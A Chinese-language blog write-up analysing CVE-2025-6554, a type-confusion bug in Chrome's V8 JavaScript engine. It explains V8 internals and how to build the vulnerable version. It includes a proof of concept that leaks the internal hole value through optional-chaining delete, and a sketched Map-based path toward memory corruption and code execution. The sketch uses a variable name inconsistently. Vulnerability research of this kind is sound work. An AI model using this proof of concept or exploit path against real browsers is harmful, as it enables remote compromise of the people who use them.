点此返回首页

leeya_bug@home:~$

一个Coder,Attacker,Creator

Chrome V8 类型混淆漏洞 // CVE-2025-6554 分析

目录跳转
特性及机制详解
    hole
    与 hole 关联的 TDZ
    可选链
V8 Build 方法
漏洞分析
    可能的利用方法

近日,Chrome 浏览器中的 JS 引擎 V8 被披露存在一个严重的内存访问漏洞,编号为 CVE-2025-6554. 该漏洞影响广泛,危害等级为高危.

该漏洞本质上属于类型混淆 (Type Confusion),攻击者可通过构造特定的 JS 代码,在不经过用户交互的情况下触发浏览器崩溃,有可能实现远程代码执行 (RCE) .这意味着,一旦用户访问了恶意网站,攻击者便可能在受害者设备上执行任意代码,造成严重的安全后果. 本文笔者将采用 V8 13.5.212.10 该还未修复漏洞的版本作为主要漏洞调试版本.

先贴验证 PoC:

function f() {
    let x;
    delete x?.[y]?.a;
    return y;
    let y;
}
let hole = f();
let map = new Map();
map.delete(hole);

笔者在本文中将会先说明 V8 引擎语言特性再逐步分析触发方法.

特性及机制详解

V8 是一个独立的 JS 引擎,Chrome 是一个基于 V8 引擎构建的浏览器,本漏洞与 V8 引擎离不开关系.

在介绍该漏洞之前先介绍与该漏洞有关的三个 V8 引擎的特性及机制:hole、TDZ、可选链

hole

hole 机制是 V8 内部设计的一部分,用于区分未初始化、删除后的数组槽位、TDZ 状态等多种情况. 正常情况下它不应被暴露到 JavaScript 代码中.

以数组举个例子:在稀疏数组或被 delete 操作后,V8 会将这些”空槽”标记为 hole,区别于存放的 undefined,来区分”未存在”和”存在但值为 undefined“这两种情况,如下所示:

const arr = [1 , ,3 ];
// arr[1] 实际上是 hole,但访问时会被 coerced 为 undefined
console.log(arr[1]);

笔者再以 map 举个例子:在 map 中的元素被 delete 操作后,V8 将会将键值标记为 hole,其状况如下所示:

const m = new Map();
m.set(1, 'one');
m.delete(1);

// 现在:m.size === 0,
// 但 Map 内部的 "1" 那槽仍保留为 hole,仅作标记

除了区分上面所演示的数组空槽外,hole 还有另外一个用途:在 TDZ 中区分未初始化的变量.

与 hole 关联的 TDZ

TDZ 指的是”Temporal Dead Zone”,这是 ES6(ES2015)引入的一种语义概念,针对 let 和 const 声明的变量.

在一个代码块开始后碰到某个变量,直到遇到该变量的声明这段区间就是 TDZ (必须是 let 或 const 形式的声明,若变量以 var 声明则不存在 TDZ) . 例如:

1| {
2|   console.log(x);
3|   let x = 10;
4|   console.log(x);
5| }

在以上代码中,第 1 行到第 3 行区间即为 TDZ

为什么要有 TDZ

我们都知道,在以往的 JS 中输出一个未初始化变量时,将会直接输出 undefined,这是不存在 TDZ 机制的情况,如下所示:

> console.log(a);
  var a = 1;
< undefined

这样的机制在开发中及其容易产生 bug.

为了保护安全、减少代码错误,引入了 TDZ 机制:当程序流进入一个作用域 (比如函数或 {} 块) 时,内部声明的 let 和 const 变量会被先提升 (hoist) 至作用域顶部,但不会立即初始化,并且在赋值前不会使用. 因此若你在赋值前使用,则会抛出 ReferenceError,而非输出 undefined,如下所示:

> console.log(a);
  let a = 1;
 Uncaught ReferenceError: a is not defined
    at <anonymous>:1:13

如上所示,在真正执行到声明语句之前,该变量处于 “死区” 内,访问就会抛出 ReferenceError.

TDZ 与 hole 之间的关系

笔者先前提到,hole 可用于区分未初始化的变量

当你访问一个 let 声明但尚未初始化的变量时,变量处于 TDZ,在 V8 内部会认为其值是 hole,例如这段代码:

{ 
    ...
    console.log(y);   // 变量 y 被标记为 hole
    let y;            // 变量 y 被初始化为 undefined,该行执行完后续不再为 hole
}

在执行 console.log(y); 时,y 已经被提升(hoisted)到了当前作用域,但还没有被初始化,所以仍处于 TDZ. 此时,y 被标记为 hole,代表”尚未初始化”或”槽位为空”

下列代码同理:

function () {
    ...
    return y;         // 变量 y 被标记为 hole
    let y; 
}

可选链

可选链 (Optional Chaining) 是 ECMAScript 2020 中新增的一个 JS 特性,用于简化访问嵌套对象属性或调用函数时的空值检查. 例如:

const city = user?.address?.city;

//逻辑大致等同于
let city;
if (user != null && user.address != null) {
    city = user.address.city;
} else {
    city = undefined;
}

这样的访问方法不仅限于嵌套对象,也包含数组类型. 例如:

const b =  x?.[y]?.a;

//逻辑大致等同于
let b;
if (x != null && x[y] != null) {
    b = x[y].a;
} else {
    b = undefined;
}

同时,可选链也可以删除嵌套对象中的某个特定对象. 例如:

delete x?.[y]?.a; 

//逻辑大致等同于
if (x != null && x[y] != null && x[y].a != null) {
    delete x[y].a;
}

V8 Build 方法

在开始分析前再看一下如何 Build 有漏洞的 V8 13.5.212.10 版本

# 拉取 depot_tools
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH="$PWD/depot_tools:$PATH"

# 克隆 V8 仓库并切换至有漏洞的版本 13.5.212.10
git clone https://chromium.googlesource.com/v8/v8.git
cd v8
git checkout 13.5.212.10

# 拉取子模块并同步依赖
git submodule update --init
cd ..
gclient config https://chromium.googlesource.com/v8/v8
gclient sync --with_branch_heads
(若在此步骤发生 commit 错误,输入以下命令后重新 gclient 操作:cd v8; git reset --hard HEAD; git clean -fd;)

# Build
cd v8
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8

13.5.212.10 版本的 V8 将生成在 /v8/out.gn/x64.release/ 路径下,你可以通过以下命令运行 js 代码:

./v8/out.gn/x64.release/d8 test.js

漏洞分析

在了解完与该漏洞相关的三大特性与机制:hole、TDZ、可选链 以及 Built V8 后,笔者来正式解析漏洞

在 JS 中,let 和 const 声明的变量在声明之前处于 TDZ 状态,无法访问. 然而,V8 引擎在处理可选链时,错误地将处于 TDZ 状态的变量视为已定义,即没有校验是否为 hole,这给了我们可乘之机:

V8 13.5.212.10 (存在漏洞版本的代码)

class V8_NODISCARD BytecodeGenerator::OptionalChainNullLabelScope final {
 public:
  explicit OptionalChainNullLabelScope(BytecodeGenerator* bytecode_generator)
      : bytecode_generator_(bytecode_generator),
        labels_(bytecode_generator->zone()) { //老版本的代码
    prev_ = bytecode_generator_->optional_chaining_null_labels_;
    bytecode_generator_->optional_chaining_null_labels_ = &labels_;
  }

  ~OptionalChainNullLabelScope() {
    bytecode_generator_->optional_chaining_null_labels_ = prev_;
  }
  ...

V8 13.9.205.8 (官方修复后的代码,可以观察到,此处利用 hole_check_scope_ 函数添加了对 hole 的校验)

class V8_NODISCARD BytecodeGenerator::OptionalChainNullLabelScope final {
 public:
  explicit OptionalChainNullLabelScope(BytecodeGenerator* bytecode_generator)
      : bytecode_generator_(bytecode_generator),
        labels_(bytecode_generator->zone()),
        hole_check_scope_(bytecode_generator) { //可以观察到,此处添加了结构 hole_check_scope_
    prev_ = bytecode_generator_->optional_chaining_null_labels_;
    bytecode_generator_->optional_chaining_null_labels_ = &labels_;
  }

  ~OptionalChainNullLabelScope() {
    bytecode_generator_->optional_chaining_null_labels_ = prev_;
  }
  ...

观察上面修复前/修复后的代码,发现在存在漏洞的旧版本中由于缺少如下结构:

HoleCheckElisionScope  hole_check_scope_

可以直接在可选链 delete x?.[y]?.a 中:

  1. 跳过对 hole 值的检查
  2. 在整个可选链操作过程中保持 hole 检查一致.

换句话说,当代码逻辑运行至 detele x? 时,此时未检测到 hole,将会保持后续检查 detele x?.[y]? 及操作 delete x?.[y]?.a 对 hole 值检测结果的一致性即:不存在 hole,因此误将 y 正常处理.

那么现在可能有读者疑问了:在可选链中缺少对 hole 的检查,关后续函数逻辑什么事?后续程序逻辑不会抛出 ReferenceError 吗?笔者将引入 HoleCheckElisionScope 的优化机制以解释为什么后续程序逻辑不会抛出 ReferenceError.

我们刚刚提到,在 V8 中存在 HoleCheckElisionScope,这是 V8 中用于 控制”是否需要检查 TDZ/hole”的编译时作用域控制机制,它确保可选链在执行过程中对 hole 值进行严格检查,而不会在优化中被意外跳过.

而在旧版本中的如下结构,将会导致不同环节使用不同的检查策略,并且在某些情况下跳过 hole 检查,如下所示

// 旧版本:每个可选链环节独立判断是否跳过 hole 检查
HoleCheckElisionScope elider(this);
expression_func();  // 执行可选链解析
// 修复后的版本:整个可选链使用统一的 hole 检查作用域
HoleCheckElisionScope hole_check_scope_(this);
expression_func();  // 执行可选链解析

在旧版本中,为了提高性能,在以下情况下将忽略对 hole 的检查:

  1. 如果某个变量之前已经被确认不是 hole
  2. 如果某个上下文没有明确需要检查

因此旧版与未修复的版本中当 delete x?.[y]?.a; 中的 hole 值 y 已被进行处理后,y 将依旧保持为 hole,但后续将会忽略对 y 的检查,并且 return y 以及后续的操作将会正常执行,不会抛出 ReferenceError. 如下例子所示:

function f() {
    let x;
    delete x?.[y]?.a; //可选链处理
    return y;         //由于可选链中默认 check 过 hole 并且 HoleCheckElisionScope 的优化机制,此处不再 check hole
    let y;
}
let hole = f();
//此时的 hole 是合法 hole 值

此时我们合法的获取到了 hole 值,在后续操作中我们可以利用 hole 非法访问某些地址

在老版本中可能的利用方法

利用 map.set(hole, someValue)map.delete(hole) 的特殊机制:

一个可能的利用路径

let map = new Map();
m.set(hole, 1);
m.delete(hole);
m.delete(hole);

观察上面可能的利用路径:

首先向 map 中插入 hole 作为一个键.

当第一次删除键 hole ,由于 hole 机制,V8 会将该槽的 key 置为 hole 作为占用目的,value 同样置为 hole,此时 map size–(size 从 1 变成 0),但槽依旧保留在内部数组中.

当第二次删除键 hole,由于槽中 key 仍旧是 hole(上次由于 hole 机制已经设为 hole),于是 delete 的 mmap 会再次匹配并执行删除. 最终,size 变成 -1,再次调用 map.set 将会写入出乎意料的非法内存地址,为后续 RCE 铺路.

function f() {
    let x;
    delete x?.[y]?.a;
    return y;
    let y;
}
let hole = f();
let map = new Map();
map.delete(hole);

此文章由leeya_bug创作,禁止抄袭转载
(完)